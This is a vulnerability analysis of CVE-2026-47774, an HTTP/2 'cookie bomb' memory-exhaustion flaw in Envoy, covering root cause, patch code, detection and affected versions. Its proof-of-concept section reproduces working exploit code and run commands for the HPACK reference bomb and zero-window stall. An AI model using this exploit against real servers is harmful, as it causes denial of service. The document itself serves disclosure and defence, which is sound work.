Introduction
A single HTTP/2 client on a 100 Mbps connection can consume 32 GB of memory on an Envoy proxy in roughly 10 seconds, a 5,700:1 wire to memory amplification ratio that ends in OOM termination. CVE-2026-47774 exploits a gap between how Envoy counts cookie header bytes during size validation and how HPACK compression lets compact encoded references expand into massive decoded allocations. It is part of a broader "HTTP/2 Bomb" vulnerability class affecting several major web servers.
Technical Information
Root Cause
CVE-2026-47774 is classified under CWE-405 (Asymmetric Resource Consumption: Amplification) and CWE-770 (Allocation of Resources Without Limits or Throttling). The vulnerability comes from two distinct flaws interacting in Envoy's HTTP/2 header processing pipeline.
Flaw 1: Cookie Header Size Bypass. During HTTP/2 request processing, Envoy buffers cookie header fragments separately and merges them after header size validation has already completed. So max_request_headers_kb enforcement does not include cookie header bytes in its size calculation, and oversized cookie data bypasses the intended header size limits entirely.
Flaw 2: HPACK Encoded vs. Decoded Size Discrepancy. HPACK header block limits in the oghttp2/quiche libraries are enforced on encoded bytes, with no corresponding limit on total decoded header size. An attacker can populate the HPACK dynamic table with a large cookie value, then reference it thousands of times using compact 1 byte indexed references. Each reference decodes to the full value on the server side, but the encoded representation stays tiny.
Attack Flow
The attack chains three techniques into what researchers have called the "HTTP/2 Bomb":
-
HPACK Indexed Reference Bomb: The attacker inserts a single cookie entry with a 4,058 byte value into the HPACK dynamic table, precisely filling Envoy's default 4,096 byte table. It then sends thousands of 1 byte indexed references to that entry. Each reference triggers roughly 4,000 bytes of server side allocation.
-
Cookie Crumbs: To bypass header field count limits, the attacker splits the Cookie header into one field per "crumb." Envoy's cookie merge and normalization process creates large aggregate decoded values that bypass
max_request_headers_kbprotections, because the accounting happens before the merge. -
HTTP/2 Window Stall: The attacker sets
INITIAL_WINDOW_SIZEto 0 and trickles tiny 1 byteWINDOW_UPDATEframes. This pins all allocated memory by prolonging stream lifetime and preventing Envoy from flushing response DATA frames or freeing header memory.
The result: roughly 32 GB of memory consumed in about 10 seconds with a single client, a 5,700:1 amplification ratio. No authentication, no user interaction, and no special privileges are required. The CVSS v3.1 vector is AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, scoring 7.5.
Cross Server Comparison
For context, here is how the amplification compares across servers affected by the HTTP/2 Bomb class:
| Server | Memory Consumed | Time to Exhaust | Amplification Ratio | Per Reference Allocation |
|---|---|---|---|---|
| Envoy | ~32 GB | ~10 seconds | ~5,700:1 | ~4,000 bytes |
| Apache httpd | ~32 GB | ~18 seconds | ~4,000:1 | ~4,000 bytes |
| nginx | ~32 GB | ~45 seconds | ~70:1 | ~70 bytes |
| Microsoft IIS | ~64 GB | ~45 seconds | ~68:1 | ~70 bytes |
Envoy and Apache show the highest amplification ratios because their per reference allocation is roughly 4,000 bytes, against roughly 70 bytes for nginx and IIS. That makes Envoy about 80x more susceptible to amplification than nginx.
Proof of Concept
A fully functional, verified PoC exploit is publicly available in the Calif.io research repository. The repository README states: "The exploits are verified by us. They work."
The primary PoC script is hpack_cookie_bomb.py, a Python 3 tool. The core exploit logic lives in the build_cookie_bomb function:
def build_cookie_bomb(authority: str, cookie_value_size: int, refs: int) -> bytes: if cookie_value_size > 4058: raise ValueError("cookie_value_size must be <= 4058 for the default 4096 byte HPACK table") cookie_value = b"x" * cookie_value_size block = bytearray() block += indexed(2) # :method: GET block += indexed(7) # :scheme: https block += indexed(4) # :path: / block += literal_indexed_name_without_indexing(1, authority.encode()) # :authority # HPACK static index 32 is "cookie". 6 + 4058 + 32 = 4096, so this exactly # fits Envoy's default HPACK dynamic table and becomes dynamic index 62. block += literal_indexed_name_with_indexing(32, cookie_value) block += indexed(62) * refs return bytes(block)
This function builds an HPACK header block that first inserts a single cookie entry with a 4,058 byte value, precisely filling Envoy's default 4,096 byte HPACK dynamic table, into dynamic index 62. It then emits thousands of one byte indexed references to that entry. The server decodes each reference back into a full 4,058 byte cookie crumb and appends it to the internal buffer.
The connection is established with INITIAL_WINDOW_SIZE=0 via the connect_h2 function:
def connect_h2(host: str, port: int, server_name: str, initial_window: int) -> ssl.SSLSocket: # ... TLS setup with ALPN h2 ... sock.sendall(CLIENT_PREFACE) sock.sendall( h2_frame( FRAME_SETTINGS, 0, 0, settings_payload([(SETTINGS_INITIAL_WINDOW_SIZE, initial_window)]), ) ) service_peer_frames(sock, 1.0) return sock
The zero window stops Envoy from flushing response DATA frames, keeping all accumulated memory pinned.
Reproduction steps from the Envoy specific README:
- Setup target:
./setup_certs.sh podman pull docker.io/envoyproxy/envoy:v1.37-latest ./run_envoy.sh
- Monitor RSS:
./monitor_rss.py --name envoy-hpack-cookie
- Launch the PoC (conservative single stream):
./hpack_cookie_bomb.py --connections 1 --streams 1 --refs 8192 --hold 30
- Higher amplification variant:
./hpack_cookie_bomb.py --connections 1 --streams 1 --refs 32768 --hold 60
The script supports configurable parameters including --connections (parallel connections), --streams (H/2 streams per connection), --refs (number of HPACK indexed references, default 8192), --cookie-value-size (default 4058), --initial-window (default 0), --hold (seconds to hold the connection open), and --drip-interval/--drip-bytes for slow window updates.
Patch Information
The Envoy maintainers addressed CVE-2026-47774 through changes published on June 3, 2026, landing in patched releases 1.35.11, 1.36.7, 1.37.3, and 1.38.1. The primary fix commit is ab55c9a, titled "enforce cookie limits," authored by Reuben Tanner (Google) and committed by phlax.
Including Cookie Bytes and Count in Header Limit Checks
The most important change is in source/common/http/http2/codec_impl.cc. Previously, the saveHeader() method checked stream->headers().byteSize() and stream->headers().size() alone against configured limits. The patch adds the accumulated cookie buffer size and count to those values:
uint64_t headers_size = stream->headers().byteSize(); uint64_t headers_count = stream->headers().size(); if (Runtime::runtimeFeatureEnabled("envoy.reloadable_features.http2_include_cookies_in_limits")) { headers_size += stream->cookies_.size(); headers_count += stream->cookie_count_; }
A stream that exceeds mutable_max_request_headers_kb or max_headers_count now gets a RST_STREAM instead of being allowed to grow silently in memory.
Tracking Cookie Fragments at the Stream Level
A new uint32_t cookie_count_ member was added to StreamImpl in codec_impl.h, initialized to zero on stream construction. The stream level saveHeader() now increments this counter when a cookie fragment is buffered:
void ConnectionImpl::StreamImpl::saveHeader(HeaderString&& name, HeaderString&& value) { if (Utility::reconstituteCrumbledCookies(name, value, cookies_)) { cookie_count_++; } else { headers().addViaMove(std::move(name), std::move(value)); } }
Enforcing Decoded Header Size in oghttp2
The patch enables enforce_max_header_list_bytes = true in the oghttp2/quiche adapter options when the runtime guard is active. This addresses the second leg of the vulnerability: previously, oghttp2 enforced HPACK limits only on encoded bytes. With this flag, decoded header size is now also enforced at the codec layer, which stops HPACK amplification from getting around the limits.
Improved Observability
A new counter header_list_size_too_large was added to separate header size violations from header count violations (header_overflow/too_many_headers). The previously combined size and count check was split into two branches, each emitting its own detail string.
Runtime Guard for Safe Rollback
All behavioral changes are gated behind the runtime feature flag envoy.reloadable_features.http2_include_cookies_in_limits, enabled by default in patched releases. Operators who hit breakage with legitimate cookie heavy traffic can temporarily revert the fix while they adjust their limits.
Operational Follow Up
As documented in Issue #45483, early deployment showed that the new cookie accounting could reset legitimate requests when applications use large numbers of cookies, for example 90+ cookie crumbs exceeding the default count limit of 100. Emergency follow up releases (v1.38.2, v1.37.4, v1.36.8, v1.35.12) were prepared, adding opt in histograms and a dedicated http2_max_cookies_size_in_kb runtime value to help operators find safe thresholds.
Downstream Propagation
Istio incorporated the fixed Envoy in Istio 1.28.8 (released June 4, 2026). Red Hat shipped the fix in OpenShift Service Mesh 3.3.4 via RHSA-2026:26247.
Detection Methods
Detecting exploitation of CVE-2026-47774 is a behavioral and metric based exercise, not a traditional signature matching problem. The attack uses legitimate HTTP/2 protocol features; the malicious behavior comes from the combination and volume of those features, not from any single anomalous byte pattern.
Vendor Published Indicators
The Envoy project's security advisory (GHSA-22m2-hvr2-xqc8) lists three indicators operators should watch for:
- Rapid or sustained abnormal memory growth in the Envoy process
- OOM termination, specifically exit status 137 in containerized environments (Kubernetes pods or Docker containers), which corresponds to SIGKILL (signal 9)
- Unusual HTTP/2 traffic patterns involving repeated indexed cookie references
If your Envoy process is being killed with exit code 137 under HTTP/2 workloads and you are not expecting memory pressure from legitimate traffic, investigate it immediately.
Process Level Memory Monitoring
The most reliable detection approach is continuous monitoring of Envoy's resident set size (RSS). The original research showed that a single client can push Envoy's memory to roughly 32 GB in about 10 seconds. That growth curve is unmistakable. Operators should baseline their Envoy processes' normal memory profiles and set alerts for deviations, especially steep, sustained increases correlated with HTTP/2 connection activity. In Kubernetes environments, monitor container memory utilization against configured limits. Istio users are equally affected, as confirmed by ISTIO-SECURITY-2026-004, and should apply the same monitoring to sidecar proxies.
Network Level Traffic Pattern Analysis
The attack has two distinct network visible phases. The first phase (HPACK bomb) involves a client inserting a single large cookie value into the HPACK dynamic table and then referencing it repeatedly via compact 1 byte indexed references, potentially thousands of times per request. The second phase (flow control stall) involves the attacker advertising a zero byte flow control window and then trickling tiny 1 byte WINDOW_UPDATE frames to keep the connection alive and pin allocated memory indefinitely.
HTTP/2 traffic is almost always encrypted with TLS, so passive network monitoring at a tap or mirror port will not reveal these patterns. Detection at this layer requires inspection at the TLS termination point.
Suricata HTTP/2 Inspection
No pre built, CVE tagged Suricata rules have been published, but Suricata's HTTP/2 parser offers several keywords relevant for custom detection logic:
http2.windowcan match the value inWINDOW_UPDATEframes; looking for very small values (e.g.,http2.window:1;) could help identify the flow control stalling phasehttp2.size_updatecan match HPACK dynamic table size changes, which helps detect unusual table manipulationhttp2.settingscan matchSETTINGSframe parameters such asSETTINGS_HEADER_TABLE_SIZEhttp2.header_nameprovides a sticky buffer for matching specific header names likecookiein HEADER frames
Defenders with Suricata deployed at a TLS terminated inspection point should consider building rules that combine these keywords to flag anomalous HTTP/2 sessions.
What Will Not Work Well
Traditional YARA rules and Sigma rules are a poor fit, because this is a network protocol level DoS, not a file based or host log based attack. Static IDS signatures are hard to craft without high false positive rates, because the individual components (cookie headers, HPACK indexed references, WINDOW_UPDATE frames) are all legitimate HTTP/2 protocol features. Effective detection requires stateful analysis: counting header field repetitions per stream, tracking decoded vs. encoded size ratios, and correlating window update patterns with connection duration.
Affected Systems and Versions
All Envoy versions below 1.39 are vulnerable. The affected version ranges are:
- Envoy 1.35.x prior to 1.35.11
- Envoy 1.36.x prior to 1.36.7
- Envoy 1.37.x prior to 1.37.3
- Envoy 1.38.x prior to 1.38.1
The vulnerability affects any Envoy deployment that accepts downstream HTTP/2 connections. This includes:
- Standalone Envoy proxy deployments
- Istio service mesh deployments (Envoy serves as the data plane sidecar)
- Envoy based API gateways
- Any configuration using Envoy as an edge proxy with HTTP/2 enabled on downstream listeners
Patched versions: 1.35.11, 1.36.7, 1.37.3, and 1.38.1. Emergency follow up releases addressing operational issues with the initial fix: v1.38.2, v1.37.4, v1.36.8, and v1.35.12.
Downstream fixes: Istio 1.28.8 (released June 4, 2026) and Red Hat OpenShift Service Mesh 3.3.4 (RHSA-2026:26247).
Vendor Security History
Envoy has accumulated 101 published CVE records since 2019, with one CVE listed in CISA's Known Exploited Vulnerabilities catalog and 24 CVEs with known public exploits. Notable past vulnerabilities include CVE-2019-9900 and CVE-2019-9901, header manipulation vulnerabilities affecting Envoy 1.9.0 and older, and CVE-2019-18801, a heap vulnerability that was the subject of a detailed exploitation analysis on the Envoy blog.
The project has a consistent record of responsible disclosure and timely patching. For CVE-2026-47774, patches were released across four release branches at once on June 3, 2026, and the team quickly followed up with emergency releases when the initial fix caused operational issues with legitimate cookie heavy traffic.
CVE-2026-47774 is part of a broader HTTP/2 Bomb vulnerability class discovered by security firm Calif using OpenAI Codex. The broader class also affects Apache httpd (CVE-2026-49975), nginx, Microsoft IIS, and Cloudflare Pingora. Using AI to chain two known techniques into a novel combined attack marks a shift in vulnerability research methodology that may speed up future discoveries.
References
- CVE-2026-47774 GHSA Advisory: HTTP/2 memory exhaustion via cookie header size bypass
- CVE-2026-47774 on oss-security mailing list
- CVE-2026-47774 Red Hat Customer Portal
- Calif Blog: Codex Discovered a Hidden HTTP/2 Bomb
- Radware Threat Advisory: AI Discovered HTTP/2 Bomb
- Calif PoC Repository: Envoy HTTP/2 Bomb
- Calif PoC Script: hpack_cookie_bomb.py
- Calif PoC README (HTTP/2 Bomb)
- Calif PoC README (Envoy specific)
- Envoy Fix Commit ab55c9a: enforce cookie limits
- Envoy Issue #45483: Operational follow up
- Istio 1.28.8 Release Notes
- ISTIO-SECURITY-2026-004
- Envoy Releases
- Envoy Security Advisories
- Suricata HTTP/2 Keywords Documentation
- CISA Known Exploited Vulnerabilities Catalog
- CNCF Announces Envoy Graduation
- oss-security: HTTP/2 Bomb affects Apache httpd, nginx, envoy, and pingora
- Penligent: CVE-2026-49975 HTTP/2 Bomb Analysis
- envoyproxy Vulnerabilities Overview
- Envoy Proxy Home



